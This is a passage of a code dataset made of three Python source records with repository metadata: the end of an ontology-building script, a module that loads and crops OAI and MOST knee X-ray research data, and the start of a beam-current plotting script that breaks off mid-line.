pos,definition = window(choosing_def,(f'Definition for \"{term}\"'),used_ontologies_index,choosing_ontology,add_button=False)\n            if definition:\n                picked = [definition]\n            else:\n                picked = [choosing_def[pos]]\n\n            picked += [choosing_iri[pos],choosing_ancestors[pos],choosing_ontology[pos]]\n\n            definition = picked[0] + f\"({picked[1]})\"\n            ancestors = picked[2]\n            ontology_name = picked[3]\n\n            del choosing_def[pos]\n            del choosing_iri[pos]\n            del choosing_ancestors[pos]\n            del choosing_ontology[pos]\n\n            #tree build\n            can_add = run(term,ancestors,api_key,definition,onto_terms,args.out,task,ontology_name,onto_ontologies)\n        except Exception as e:\n            new_added.pop(-1)\n            print(f'''Can't add \"{term}\"'''+\" \"*20)\n            continue\n    else:\n        print(f'\"{term}\" already exists'+\" \"*20)\nprint(f\"{new_added} have been added\" + \" \"*7)\n\n\n","repo_name":"prodromospapa/ontopito","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"13990098388","text":"import argparse\nimport torch\nfrom torch import Tensor\nimport numpy as np\nimport os\nimport cv2\nimport glob\nimport pandas as pd\nfrom tqdm import tqdm\nfrom sas7bdat import SAS7BDAT\n\n# Confusion matrix\nimport re\nimport itertools\nimport matplotlib\nfrom textwrap import wrap\nfrom sklearn.metrics import confusion_matrix\nimport matplotlib.pyplot as plt\n\noai_meta_csv_filename = \"oai_meta.csv\"\nmost_meta_csv_filename = \"most_meta.csv\"\n\noai_participants_csv_filename = \"oai_participants.csv\"\nmost_participants_csv_filename = \"most_participants.csv\"\n\noai_most_meta_csv_filename = \"oai_most_meta.csv\"\n\noai_most_all_csv_filename = \"oai_most_all.csv\"\noai_most_img_csv_filename = \"oai_most_img_patches.csv\"\n\nSTD_SZ = (128, 128)\n\nfollow_up_dict_most = {0: '00', 1: '15', 2: '30', 3: '60', 5: '84'}\nvisit_to_month = {\"most\": [\"00\", \"15\", \"30\", \"60\", \"84\"], \"oai\": [\"00\", \"12\", \"24\", \"36\", \"72\", \"96\"]}\n\n\ndef read_sas7bdata_pd(fname):\n    data = []\n    with SAS7BDAT(fname) as f:\n        for row in f:\n            data.append(row)\n\n    return pd.DataFrame(data[1:], columns=data[0])\n\n\ndef build_img_klg_meta_oai(oai_src_dir):\n    visits = visit_to_month[\"oai\"]\n    dataset_name = \"oai\"\n    exam_codes = ['00', '01', '03', '05', '08', '10']\n    rows = []\n    sides = [None, 'R', 'L']\n    for i, visit in enumerate(visits):\n        print(f'==> Reading OAI {visit} visit')\n        meta = read_sas7bdata_pd(os.path.join(oai_src_dir,\n                                              'Semi-Quant Scoring_SAS',\n                                              f'kxr_sq_bu{exam_codes[i]}.sas7bdat'))\n        # Dropping the data from multiple projects\n        meta.drop_duplicates(subset=['ID', 'SIDE'], inplace=True)\n        meta.fillna(-1, inplace=True)\n        for c in meta.columns:\n            meta[c.upper()] = meta[c]\n\n        meta['KL'] = meta[f'V{exam_codes[i]}XRKL']\n\n        meta['XROSTL'] = meta[f'V{exam_codes[i]}XROSTL']\n        meta['XROSTM'] = meta[f'V{exam_codes[i]}XROSTM']\n\n        meta['XROSFL'] = meta[f'V{exam_codes[i]}XROSFL']\n        meta['XROSFM'] = meta[f'V{exam_codes[i]}XROSFM']\n\n        meta['XRJSL'] = meta[f'V{exam_codes[i]}XRJSL']\n        meta['XRJSM'] = meta[f'V{exam_codes[i]}XRJSM']\n\n        for index, row in tqdm(meta.iterrows(), total=len(meta.index), desc=\"Loading OAI meta\"):\n            _s = int(row['SIDE'])\n            if sides[_s] is None:\n                continue\n            rows.append(\n                {'ID': row['ID'], 'Side': sides[_s], 'KL': row['KL'], 'XROSTL': row['XROSTL'], 'XROSTM': row['XROSTM'],\n                 'XROSFL': row['XROSFL'], 'XROSFM': row['XROSFM'], 'XRJSL': row['XRJSL'], 'XRJSM': row['XRJSM'],\n                 'visit_id': i, 'visit': visit, 'dataset': dataset_name})\n\n    return pd.DataFrame(rows, index=None)\n\n\ndef build_img_klg_meta_most(most_src_dir):\n    dataset_name = \"most\"\n    data = read_sas7bdata_pd(os.path.join(most_src_dir, 'mostv01235xray.sas7bdat')).fillna(-1)\n    data.set_index('MOSTID', inplace=True)\n    rows = []\n    # Assumption: Only use visit 0 (baseline)\n    files = glob.glob(os.path.join(most_src_dir, '*enroll.sas7bdat'))\n    files_dict = {file.split('/')[-1].lower(): file for file in files}\n\n    enrolled = {}\n    for visit in [0, 1, 2, 3, 5]:\n        print(f'==> Reading MOST {visit} visit')\n        ds = read_sas7bdata_pd(files_dict[f'mostv{visit}enroll.sas7bdat'])\n        if 'V{}PA'.format(visit) in ds:\n            ds = ds[ds['V{}PA'.format(visit)] == 1]  # Filtering out the cases when X-rays wern't taken\n        id_set = set(ds.MOSTID.values.tolist())\n        enrolled[visit] = id_set\n\n    rows = []\n    for i, visit in enumerate([0, 1, 2, 3, 5]):\n        for ID in tqdm(enrolled[visit], total=len(enrolled[visit]), desc=\"Loading MOST meta\"):\n            subj = data.loc[ID]\n            kl_l_key = 'V{0}X{1}{2}'.format(visit, 'L', 'KL')\n            kl_r_key = 'V{0}X{1}{2}'.format(visit, 'R', 'KL')\n            if kl_l_key in subj and kl_r_key in subj:\n                KL_bl_l = subj[kl_l_key]\n                KL_bl_r = subj[kl_r_key]\n                rows.append({'ID': ID, 'Side': 'L', 'KL': KL_bl_l, 'visit_id': i, 'visit': visit_to_month[\"most\"][i],\n                             'dataset': dataset_name})\n                rows.append({'ID': ID, 'Side': 'R', 'KL': KL_bl_r, 'visit_id': i, 'visit': visit_to_month[\"most\"][i],\n                             'dataset': dataset_name})\n\n    return pd.DataFrame(rows, columns=['ID', 'Side', 'KL', 'visit_id', 'visit', 'dataset'])\n\n\ndef get_most_meta(meta_path):\n    # SIDES numbering is made according to the OAI notation\n    # SIDE=1 - Right\n    # SIDE=2 - Left\n    print('==> Processing', os.path.join(meta_path, 'mostv01235xray.sas7bdat'))\n    most_meta = read_sas7bdata_pd(os.path.join(meta_path, 'mostv01235xray.sas7bdat'))\n\n    most_names_list = pd.read_csv(os.path.join(meta_path, 'MOST_names.csv'), header=None)[0].values.tolist()\n    xray_types = pd.DataFrame(\n        list(map(lambda x: (x.split('/')[0][:-5], follow_up_dict_most[int(x.split('/')[1][1])], x.split('/')[-2]),\n                 most_names_list)), columns=['ID', 'visit', 'TYPE'])\n\n    most_meta_all = []\n    for visit_id in [0, 1, 2, 3, 5]:\n        for leg in ['L', 'R']:\n            features = ['MOSTID', ]\n            for compartment in ['L', 'M']:\n                for bone in ['F', 'T']:\n                    features.append(f\"V{visit_id}X{leg}OS{bone}{compartment}\"),\n                features.append(f\"V{visit_id}X{leg}JS{compartment}\")\n            features.append(f\"V{visit_id}X{leg}KL\")\n            tmp = most_meta.copy()[features]\n            trunc_feature_names = list(map(lambda x: 'XR' + x[4:], features[1:]))\n            tmp[trunc_feature_names] = tmp[features[1:]]\n            tmp.drop(features[1:], axis=1, inplace=True)\n            tmp['Side'] = leg  # int(1 if leg == 'R' else 2)\n            tmp = tmp[~tmp.isnull().any(1)]\n            tmp['visit'] = follow_up_dict_most[visit_id]\n            tmp['ID'] = tmp['MOSTID'].copy()\n            tmp.drop('MOSTID', axis=1, inplace=True)\n            most_meta_all.append(tmp)\n\n    most_meta = pd.concat(most_meta_all)\n    most_meta = most_meta[(most_meta[trunc_feature_names] <= 4).all(1)]\n    most_meta = pd.merge(xray_types, most_meta)\n    most_meta = most_meta[most_meta.TYPE == 'PA10']\n    most_meta.drop('TYPE', axis=1, inplace=True)\n    return most_meta\n\n\ndef filter_most_by_pa(ds, df_most_ex, pas=['PA10']):\n    std_rows = []\n    for i, row in df_most_ex.iterrows():\n        std_row = dict()\n        std_row['ID'] = row['ID_ex'].split('_')[0]\n        std_row['visit_id'] = int(row['visit'][1:])\n        std_row['PA'] = row['PA']\n        std_rows.append(std_row)\n    df_most_pa = pd.DataFrame(std_rows)\n\n    ds_most_filtered = pd.merge(ds, df_most_pa, on=['ID', 'visit_id'])\n    if isinstance(pas, str):\n        ds_most_filtered = ds_most_filtered[ds_most_filtered['PA'] == pas]\n    return ds_most_filtered\n\n\ndef build_clinical_oai(oai_src_dir):\n    data_enrollees = read_sas7bdata_pd(os.path.join(oai_src_dir, 'enrollees.sas7bdat'))\n    data_clinical = read_sas7bdata_pd(os.path.join(oai_src_dir, 'allclinical00.sas7bdat'))\n\n    clinical_data_oai = data_clinical.merge(data_enrollees, on='ID')\n\n    # Age, Sex, BMI\n    clinical_data_oai['SEX'] = 2 - clinical_data_oai['P02SEX']\n    clinical_data_oai['AGE'] = clinical_data_oai['V00AGE']\n    clinical_data_oai['BMI'] = clinical_data_oai['P01BMI']\n\n    clinical_data_oai_left = clinical_data_oai.copy()\n    clinical_data_oai_right = clinical_data_oai.copy()\n\n    # Making side-wise metadata\n    clinical_data_oai_left['Side'] = 'L'\n    clinical_data_oai_right['Side'] = 'R'\n\n    # Injury (ever had)\n    clinical_data_oai_left['INJ'] = clinical_data_oai_left['P01INJL']\n    clinical_data_oai_right['INJ'] = clinical_data_oai_right['P01INJR']\n\n    # Surgery (ever had)\n    clinical_data_oai_left['SURG'] = clinical_data_oai_left['P01KSURGL']\n    clinical_data_oai_right['SURG'] = clinical_data_oai_right['P01KSURGR']\n\n    # Total WOMAC score\n    clinical_data_oai_left['WOMAC'] = clinical_data_oai_left['V00WOMTSL']\n    clinical_data_oai_right['WOMAC'] = clinical_data_oai_right['V00WOMTSR']\n\n    clinical_data_oai = pd.concat((clinical_data_oai_left, clinical_data_oai_right))\n    clinical_data_oai.ID = clinical_data_oai.ID.values.astype(str)\n    return clinical_data_oai[['ID', 'Side', 'AGE', 'SEX', 'BMI', 'INJ', 'SURG', 'WOMAC']]\n\n\ndef build_clinical_most(most_src_dir):\n    files = glob.glob(os.path.join(most_src_dir, '*enroll.sas7bdat'))\n    files_dict = {file.split('/')[-1].lower(): file for file in files}\n    clinical_data_most = read_sas7bdata_pd(files_dict['mostv0enroll.sas7bdat'])\n    clinical_data_most['ID'] = clinical_data_most.MOSTID\n    clinical_data_most['BMI'] = clinical_data_most['V0BMI']\n\n    clinical_data_most_left = clinical_data_most.copy()\n    clinical_data_most_right = clinical_data_most.copy()\n\n    # Making side-wise metadata\n    clinical_data_most_left['Side'] = 'L'\n    clinical_data_most_right['Side'] = 'R'\n\n    # Injury (ever had)\n    clinical_data_most_left['INJ'] = clinical_data_most_left['V0LAL']\n    clinical_data_most_right['INJ'] = clinical_data_most_right['V0LAR']\n\n    # Surgery (ever had)\n    clinical_data_most_left['SURG'] = clinical_data_most_left['V0SURGL']\n    clinical_data_most_right['SURG'] = clinical_data_most_right['V0SURGR']\n\n    # Total WOMAC score\n    clinical_data_most_left['WOMAC'] = clinical_data_most_left['V0WOTOTL']\n    clinical_data_most_right['WOMAC'] = clinical_data_most_right['V0WOTOTR']\n\n    clinical_data_most = pd.concat((clinical_data_most_left, clinical_data_most_right))\n\n    return clinical_data_most[['ID', 'Side', 'AGE', 'SEX', 'BMI', 'INJ', 'SURG', 'WOMAC']]\n\n\ndef load_most_metadata(root, save_dir, force_reload=False):\n    most_meta_fullname = os.path.join(save_dir, most_meta_csv_filename)\n    most_participants_fullname = os.path.join(save_dir, most_participants_csv_filename)\n    most_all_fullname = os.path.join(save_dir, oai_most_all_csv_filename)\n\n    requires_update = False\n\n    if os.path.isfile(most_meta_fullname) and not force_reload:\n        most_meta = pd.read_csv(most_meta_fullname, sep='|')\n    else:\n        most_meta = build_img_klg_meta_most(os.path.join(root, 'most_meta/'))\n        most_meta_strict = get_most_meta(os.path.join(root, 'most_meta/'))\n\n        most_meta = pd.merge(most_meta, most_meta_strict, on=('ID', 'Side', 'visit'), how='inner')\n        most_meta.to_csv(most_meta_fullname, index=None, sep='|')\n        requires_update = True\n\n    if os.path.isfile(most_participants_fullname) and not force_reload:\n        most_ppl = pd.read_csv(most_participants_fullname, sep='|')\n    else:\n        most_ppl = build_clinical_most(os.path.join(root, 'most_meta/'))\n        most_ppl.to_csv(most_participants_fullname, index=None, sep='|')\n        requires_update = True\n\n    master_dict = {\"oai\": dict(), \"most\": dict()}\n    master_dict[\"most\"][\"meta\"] = most_meta\n    master_dict[\"most\"][\"ppl\"] = most_ppl\n\n    master_dict[\"most\"][\"n_dup\"] = dict()\n\n    master_dict[\"most\"][\"n_dup\"][\"meta\"] = len(most_meta[most_meta.duplicated(keep=False)].index)\n    master_dict[\"most\"][\"n_dup\"][\"ppl\"] = len(most_ppl[most_ppl.duplicated(keep=False)].index)\n\n    for ds in [\"most\"]:\n        for s in [\"meta\", \"ppl\"]:\n            if master_dict[ds][\"n_dup\"][s] > 0:\n                print(master_dict[ds][s])\n                raise ValueError(\n                    \"There are {} duplicated rows in {} {} dataframe\".format(master_dict[ds][\"n_dup\"][s], ds.upper(),\n                                                                             s.upper()))\n\n    master_dict[\"most\"][\"all\"] = pd.merge(master_dict[\"most\"][\"meta\"],\n                                          master_dict[\"most\"][\"ppl\"], how=\"left\",\n                                          left_on=[\"ID\", \"Side\"], right_on=[\"ID\", \"Side\"]).fillna(-1)\n\n    return master_dict\n\n\ndef load_oai_most_metadata(root, save_dir, force_reload=False):\n    oai_meta_fullname = os.path.join(save_dir, oai_meta_csv_filename)\n    oai_participants_fullname = os.path.join(save_dir, oai_participants_csv_filename)\n    most_meta_fullname = os.path.join(save_dir, most_meta_csv_filename)\n    most_participants_fullname = os.path.join(save_dir, most_participants_csv_filename)\n    oai_most_meta_fullname = os.path.join(save_dir, oai_most_meta_csv_filename)\n    oai_most_all_fullname = os.path.join(save_dir, oai_most_all_csv_filename)\n\n    requires_update = False\n\n    if os.path.isfile(oai_meta_fullname) and not force_reload:\n        oai_meta = pd.read_csv(oai_meta_fullname, sep='|')\n        oai_meta[\"ID\"] = oai_meta[\"ID\"].values.astype(str)\n    else:\n        oai_meta = build_img_klg_meta_oai(os.path.join(root, 'X-Ray_Image_Assessments_SAS/'))\n        oai_meta.to_csv(oai_meta_fullname, index=None, sep='|')\n        requires_update = True\n\n    if os.path.isfile(oai_participants_fullname) and not force_reload:\n        oai_ppl = pd.read_csv(oai_participants_fullname, sep='|')\n    else:\n        oai_ppl = build_clinical_oai(os.path.join(root, 'X-Ray_Image_Assessments_SAS/'))\n        oai_ppl.to_csv(oai_participants_fullname, index=None, sep='|')\n        requires_update = True\n\n    if os.path.isfile(most_meta_fullname) and not force_reload:\n        most_meta = pd.read_csv(most_meta_fullname, sep='|')\n    else:\n        most_meta = build_img_klg_meta_most(os.path.join(root, 'most_meta/'))\n        most_meta_strict = get_most_meta(os.path.join(root, 'most_meta/'))\n        most_meta = pd.merge(most_meta, most_meta_strict, on=('ID', 'Side', 'visit'), how='inner')\n        most_meta.to_csv(most_meta_fullname, index=None, sep='|')\n        requires_update = True\n\n    if os.path.isfile(most_participants_fullname) and not force_reload:\n        most_ppl = pd.read_csv(most_participants_fullname, sep='|')\n    else:\n        most_ppl = build_clinical_most(os.path.join(root, 'most_meta/'))\n        most_ppl.to_csv(most_participants_fullname, index=None, sep='|')\n        requires_update = True\n\n    master_dict = {\"oai\": dict(), \"most\": dict()}\n    master_dict[\"oai\"][\"meta\"] = oai_meta\n    master_dict[\"oai\"][\"ppl\"] = oai_ppl\n    master_dict[\"most\"][\"meta\"] = most_meta\n    master_dict[\"most\"][\"ppl\"] = most_ppl\n\n    master_dict[\"oai\"][\"n_dup\"] = dict()\n    master_dict[\"most\"][\"n_dup\"] = dict()\n    master_dict[\"oai\"][\"n_dup\"][\"meta\"] = len(oai_meta[oai_meta.duplicated(keep=False)].index)\n    master_dict[\"oai\"][\"n_dup\"][\"ppl\"] = len(oai_ppl[oai_ppl.duplicated(keep=False)].index)\n    master_dict[\"most\"][\"n_dup\"][\"meta\"] = len(most_meta[most_meta.duplicated(keep=False)].index)\n    master_dict[\"most\"][\"n_dup\"][\"ppl\"] = len(most_ppl[most_ppl.duplicated(keep=False)].index)\n\n    for ds in [\"oai\", \"most\"]:\n        for s in [\"meta\", \"ppl\"]:\n            if master_dict[ds][\"n_dup\"][s] > 0:\n                print(master_dict[ds][s])\n                raise ValueError(\n                    \"There are {} duplicated rows in {} {} dataframe\".format(master_dict[ds][\"n_dup\"][s], ds.upper(),\n                                                                             s.upper()))\n\n    master_dict[\"oai_most\"] = dict()\n    master_dict[\"oai_most\"][\"meta\"] = pd.concat([master_dict[\"oai\"][\"meta\"],\n                                                 master_dict[\"most\"][\"meta\"]], ignore_index=True)\n\n    master_dict[\"oai\"][\"all\"] = pd.merge(master_dict[\"oai\"][\"meta\"],\n                                         master_dict[\"oai\"][\"ppl\"], how=\"left\",\n                                         left_on=[\"ID\", \"Side\"], right_on=[\"ID\", \"Side\"]).fillna(-1)\n    master_dict[\"most\"][\"all\"] = pd.merge(master_dict[\"most\"][\"meta\"],\n                                          master_dict[\"most\"][\"ppl\"], how=\"left\",\n                                          left_on=[\"ID\", \"Side\"], right_on=[\"ID\", \"Side\"]).fillna(-1)\n\n    master_dict[\"oai_most\"][\"all\"] = pd.concat([master_dict[\"oai\"][\"all\"],\n                                                master_dict[\"most\"][\"all\"]], ignore_index=True)\n\n    if requires_update:\n        master_dict[\"oai_most\"][\"meta\"].to_csv(oai_most_meta_fullname, index=None, sep='|')\n        master_dict[\"oai_most\"][\"all\"].to_csv(oai_most_all_fullname, index=None, sep='|')\n\n    return master_dict\n\n\ndef crop_2_rois_oai_most(img, ps=128, debug=False):\n    \"\"\"\n    Generates pair of images 128x128 from the knee joint.\n    ps shows how big area should be mapped into that region.\n    \"\"\"\n    if len(img.shape) > 2:\n        if img.shape[0] == 1:\n            img = np.squeeze(img, axis=0)\n        else:\n            raise ValueError('Input image ({}) must have 1 channel, but got {}'.format(img.shape, img.shape[0]))\n    elif len(img.shape) < 2:\n        raise ValueError(\n            'Input image ({}) must have 2 dims or 1-channel 3 dims, but got {}'.format(img.shape, img.shape))\n    elif img.shape[0] < 300 or img.shape[1] < 300:\n        raise ValueError('Input image shape ({}) must be at least 300, but got {}'.format(img.shape, img.shape))\n\n    s = img.shape[0]\n\n    s1, s2, pad = calc_roi_bboxes(s, ps)\n\n    # pad = int(np.floor(s / 3))\n    # l = img[pad:pad+ps, 0:ps]\n    # m = img[pad:pad+ps, s-ps:s]\n\n    l = img[s1[0]:s1[2], s1[1]:s1[3]]\n    m = img[s2[0]:s2[2], s2[1]:s2[3]]\n\n    # DEBUG\n    if debug:\n        img = cv2.cvtColor(img, cv2.COLOR_GRAY2BGR)\n        cv2.rectangle(img, (0, pad), (ps, pad + ps), color=(255, 255, 0), thickness=4)\n        cv2.rectangle(img, (s - ps, pad), (s, pad + ps), color=(255, 255, 0), thickness=4)\n        return l, m, img\n    else:\n        return l, m, None\n\n\ndef calc_roi_bboxes(s, ps):\n    pad = int(np.floor(s / 3))\n\n    s1 = (pad, 0, pad + ps, ps)\n    s2 = (pad, s - ps, pad + ps, s)\n    return s1, s2, pad\n\n\ndef standardize_img(img, std_actual_shape=(130, 130), target_shape=(300, 300),\n                    original_actual_shape=(140, 140), original_img_shape=(700, 700)):\n    spacing_per_pixel = (1.0 * original_actual_shape[0] / original_img_shape[0],\n                         1.0 * original_actual_shape[1] / original_img_shape[1])\n    std_img_shape = (int(std_actual_shape[0] / spacing_per_pixel[0]), int(std_actual_shape[1] / spacing_per_pixel[1]))\n    cropped_img = center_crop(img, std_img_shape)\n    cropped_img = cv2.resize(cropped_img, dsize=target_shape, interpolation=cv2.INTER_AREA)\n    return cropped_img\n\n\ndef overlay_heatmap(heatmap, mask, whole_img, box, blend_w=0.7, std_actual_shape=(110, 110), target_shape=(300, 300),\n                    original_actual_shape=(140, 140), original_img_shape=(700, 700), draw_crops=False,\n                    crop_center=False):\n    spacing_per_pixel = (1.0 * original_actual_shape[0] / original_img_shape[0],\n                         1.0 * original_actual_shape[1] / original_img_shape[1])\n    std_img_shape = (int(std_actual_shape[0] / spacing_per_pixel[0]), int(std_actual_shape[1] / spacing_per_pixel[1]))\n\n    s = std_img_shape[0] / target_shape[0]\n\n    heatmap = cv2.resize(heatmap, dsize=(0, 0), fx=s, fy=s, interpolation=cv2.INTER_AREA)\n    mask = cv2.resize(mask, dsize=(0, 0), fx=s, fy=s, interpolation=cv2.INTER_AREA)\n\n    box = list(box)\n\n    for i in range(len(box)):\n        box[i] *= s\n\n    c_y = int(round((whole_img.shape[0] - std_img_shape[0]) / 2))\n    c_x = int(round((whole_img.shape[1] - std_img_shape[1]) / 2))\n\n    box[0] += c_y\n    box[1] += c_x\n    box[2] += c_y\n    box[3] += c_x\n\n    if whole_img.shape[2] == 1:\n        whole_img = cv2.cvtColor(whole_img, cv2.COLOR_GRAY2BGR)\n\n    box = [int(round(box[i])) for i in range(len(box))]\n\n    # print(f'box shape = ({box[2]-box[0]}, {box[3]-box[1]})')\n\n    if len(mask.shape) == 2:\n        mask = np.expand_dims(mask, axis=-1)\n\n    if len(heatmap.shape) == 2:\n        heatmap = np.expand_dims(heatmap, axis=-1)\n\n    whole_img = np.float32(whole_img) / 255\n    blend_whole_img = blend_heatmap(whole_img, heatmap, mask, blend_w, box)\n\n    if draw_crops:\n        cv2.rectangle(whole_img, (box[1], box[0]), (box[3], box[2]), (0, 123, 247), 4)\n\n    blend_whole_img = np.uint8(255 * blend_whole_img)\n\n    return blend_whole_img, heatmap, mask, box\n\n\ndef blend_heatmap(img, heatmap, mask, w=0.8, box=None):\n    if box is None:\n        img = 1 * (1 - mask ** w) * img + (mask ** w) * heatmap\n    elif (isinstance(box, tuple) or isinstance(box, list)) and len(box) == 4:\n        img[box[0]:box[2], box[1]:box[3], :] = 1 * (1 - mask ** w) * img[box[0]:box[2], box[1]:box[3], :] + (\n                mask ** w) * heatmap\n    else:\n        raise ValueError(f'Invalid input box with type of {type(box)}')\n\n    return img\n\n\ndef center_crop(img, crop_sz):\n    c_y = int(round((img.shape[0] - crop_sz[0]) / 2))\n    c_x = int(round((img.shape[1] - crop_sz[1]) / 2))\n    cropped_img = img[c_y:c_y + crop_sz[0], c_x:c_x + crop_sz[1]]\n    return cropped_img\n\n\ndef load_oai_most_datasets(root, img_dir, save_meta_dir, saved_patch_dir, output_filename, force_reload=False,\n                           force_rewrite=False, extract_sides=True):\n    if not os.path.exists(save_meta_dir):\n        os.mkdir(save_meta_dir)\n\n    if not os.path.exists(saved_patch_dir):\n        os.mkdir(saved_patch_dir)\n\n    if force_rewrite or not os.path.exists(os.path.join(save_meta_dir, output_filename)):\n        print('Loading OAI MOST metadata...')\n        df_meta = load_oai_most_metadata(root=root, save_dir=save_meta_dir, force_reload=force_reload)\n        print('OK!')\n        df = df_meta[\"oai_most\"][\"all\"]\n        fullnames = []\n        for index, row in tqdm(df.iterrows(), total=len(df.index), desc=\"Processing images\"):\n            fname = row[\"ID\"] + \"_\" + visit_to_month[row[\"dataset\"]][row[\"visit_id\"]] + \"_\" + row[\"Side\"] + \".png\"\n            img_fullname = os.path.join(img_dir, fname)\n            basename = os.path.splitext(fname)[0]\n\n            img1_fullname = os.path.join(saved_patch_dir, \"{}_patch1.png\".format(basename))\n            img2_fullname = os.path.join(saved_patch_dir, \"{}_patch2.png\".format(basename))\n\n            img_cropped_fullname = os.path.join(saved_patch_dir, \"{}_cropped.png\".format(basename))\n\n            fullnames_dict = row.to_dict()\n            fullnames_dict['Filename'] = None\n            fullnames_dict['Patch1_name'] = None\n            fullnames_dict['Patch2_name'] = None\n\n            fullnames_dict['ID'] = row['ID']\n            fullnames_dict['Side'] = row['Side']\n            if os.path.exists(img_fullname) and row[\"KL\"] > -1 and row[\"KL\"] < 5:\n                if (not os.path.isfile(img_cropped_fullname) and not extract_sides) or \\\n                        ((not os.path.isfile(img1_fullname) or not os.path.isfile(img2_fullname)) and extract_sides):\n                    img = cv2.imread(img_fullname, cv2.IMREAD_GRAYSCALE)\n\n                    img = standardize_img(img, std_actual_shape=(110, 110), target_shape=(300, 300))\n                    if extract_sides:\n                        img1, img2, _ = crop_2_rois_oai_most(img)\n                        cv2.imwrite(img1_fullname, img1)\n                        cv2.imwrite(img2_fullname, img2)\n                    else:\n                        cv2.imwrite(img_cropped_fullname, img)\n\n                fullnames_dict['Filename'] = fname\n                if extract_sides:\n                    fullnames_dict['Patch1_name'] = os.path.basename(img1_fullname)\n                    fullnames_dict['Patch2_name'] = os.path.basename(img2_fullname)\n                else:\n                    fullnames_dict['ROI_name'] = os.path.basename(img_cropped_fullname)\n                fullnames.append(fullnames_dict)\n\n        df_all = pd.DataFrame(fullnames, index=None)\n        df_all['ID'] = df_all['ID'].astype(str)\n        df_all.to_csv(os.path.join(save_meta_dir, output_filename), index=False, sep='|')\n    else:\n        df_all = pd.read_csv(os.path.join(save_meta_dir, output_filename), sep='|')\n    return df_all\n\n\ndef load_most_dataset(root, img_dir, save_meta_dir, saved_patch_dir, output_filename, force_reload=False,\n                      force_rewrite=False):\n    if not os.path.exists(save_meta_dir):\n        os.mkdir(save_meta_dir)\n\n    if not os.path.exists(saved_patch_dir):\n        os.mkdir(saved_patch_dir)\n\n    if force_rewrite or not os.path.exists(os.path.join(save_meta_dir, output_filename)):\n        df_meta = load_most_metadata(root=root, save_dir=save_meta_dir, force_reload=force_reload)\n        df = df_meta[\"most\"][\"all\"]\n        fullnames = []\n        for index, row in tqdm(df.iterrows(), total=len(df.index), desc=\"Processing images\"):\n            fname = row[\"ID\"] + \"_\" + visit_to_month[row[\"dataset\"]][row[\"visit_id\"]] + \"_\" + row[\"Side\"] + \".png\"\n            img_fullname = os.path.join(img_dir, fname)\n            basename = os.path.splitext(fname)[0]\n            img1_fullname = os.path.join(saved_patch_dir, \"{}_patch1.png\".format(basename))\n            img2_fullname = os.path.join(saved_patch_dir, \"{}_patch2.png\".format(basename))\n            fullnames_dict = row.to_dict()\n            fullnames_dict['Filename'] = None\n            fullnames_dict['Patch1_name'] = None\n            fullnames_dict['Patch2_name'] = None\n\n            fullnames_dict['ID'] = row['ID']\n            fullnames_dict['Side'] = row['Side']\n            if not os.path.exists(img_fullname):\n                print('Not found file {}'.format(img_fullname))\n            elif row[\"KL\"] < 0 and row[\"KL\"] > 4:\n                print('KL {} is out of range'.format(row[\"KL\"]))\n            else:\n                if not os.path.isfile(img1_fullname) or not os.path.isfile(img2_fullname):\n                    img = cv2.imread(img_fullname, cv2.IMREAD_GRAYSCALE)\n\n                    img = standardize_img(img, std_actual_shape=(110, 110), target_shape=(300, 300))\n                    img1, img2, _ = crop_2_rois_oai_most(img)\n                    cv2.imwrite(img1_fullname, img1)\n                    cv2.imwrite(img2_fullname, img2)\n\n                fullnames_dict['Filename'] = fname\n                fullnames_dict['Patch1_name'] = os.path.basename(img1_fullname)\n                fullnames_dict['Patch2_name'] = os.path.basename(img2_fullname)\n                fullnames.append(fullnames_dict)\n\n        df_all = pd.DataFrame(fullnames, index=None)\n        print('Save {} lines into {}'.format(len(df_all), os.path.join(save_meta_dir, output_filename)))\n        df_all.to_csv(os.path.join(save_meta_dir, output_filename), index=False, sep='|')\n    else:\n        df_all = pd.read_csv(os.path.join(save_meta_dir, output_filename), sep='|')\n    return df_all\n","repo_name":"Oulu-IMEDS/semixup","sub_path":"common/oai_most.py","file_name":"oai_most.py","file_ext":"py","file_size_in_byte":26318,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"16"}
+{"seq_id":"3116647454","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n# SHMS BCMs were used (with >5 uA beam current cut on BCM4A\n\n#BCM currents [uA]\n# before\nbcm1_b  = np.array([9.087,  67.291,  59.701,  40.314,  22.745])\nbcm2_b  = np.array([9.108,  67.301,  59.690,  40.378,  22.789])\nbcm4a_b = np.array([8.736,  65.083,  57.692,  38.966,  21.920])\nbcm4b_b = np.array([28.096, 207.455, 184.004, 124.772, 70.142])\nbcm4c_b = np.array([7.835,  58.966,  52.161,  35.396,  19.808])\nunser_b = np.array([0.204,  57.905,  51.169,  31.613,  14.598])\n\n# after\nbcm1_a  = np.array([9.203, 67.431, 59.835, 39.118, 22.865])\nbcm2_a  = np.array([9.206, 67.351, 59.745, 39.125, 22.875])\nbcm4a_a = np.array([9.208, 67.310, 59.689, 39.059, 22.802])\nbcm4b_a = np.array([9.224, 67.236, 59.651, 39.169, 22.824])\nbcm4c_a = np.array([9.234, 67.330, 59.598, 39.224, 22.838])\nunser_a = np.array([9.428, 67.130, 60.393, 39.519, 23.822])\n\nmy_xticks = ['11799','11829','11847','11883', '11947']\n\nx = np.array([0,1,2,3,4])\nplt.xticks(x, my_xticks)\n\n#before\nplt.plot(x, bcm1_b, linestyle='', marker='o',  mfc='white', ms=5, color = 'k', label='bcm1 (before)')\nplt.plot(x, bcm2_b, linestyle='', marker='s',  mfc='white', ms=5, color = 'k', label='bcm2')\nplt.plot(x, bcm4a_b, linestyle='', marker='^', mfc='white', ms=5, color = 'k', label='bcm4a')\nplt.plot(x, bcm4b_b, linestyle='', marker='v', mfc='white', ms=5, color = 'k', label='bcm4b')\nplt.plot(x, bcm4c_b, linestyle='', marker='>', mfc='white', ms=5, color = 'k', label='bcm4c')\nplt.plot(x, unser_b, linestyle='', marker='D', mfc='white', ms=5, color = 'k', label='unser')\n\n#after\nplt.plot(x, bcm1_a, linestyle='', marker='o',  mfc='white', ms=5, color = 'r', label='bcm1 (after)')\nplt.plot(x, bcm2_a, linestyle='', marker='s',  mfc='white', ms=5, color = 'r', label='bcm2')\nplt.plot(x, bcm4a_a, linestyle='', marker='^', mfc='white', ms=5, color = 'r', label='bcm4a')\nplt.plot(x, bcm4b_a, linestyle='', marker='v', mfc='white', ms=5, color = 'r', 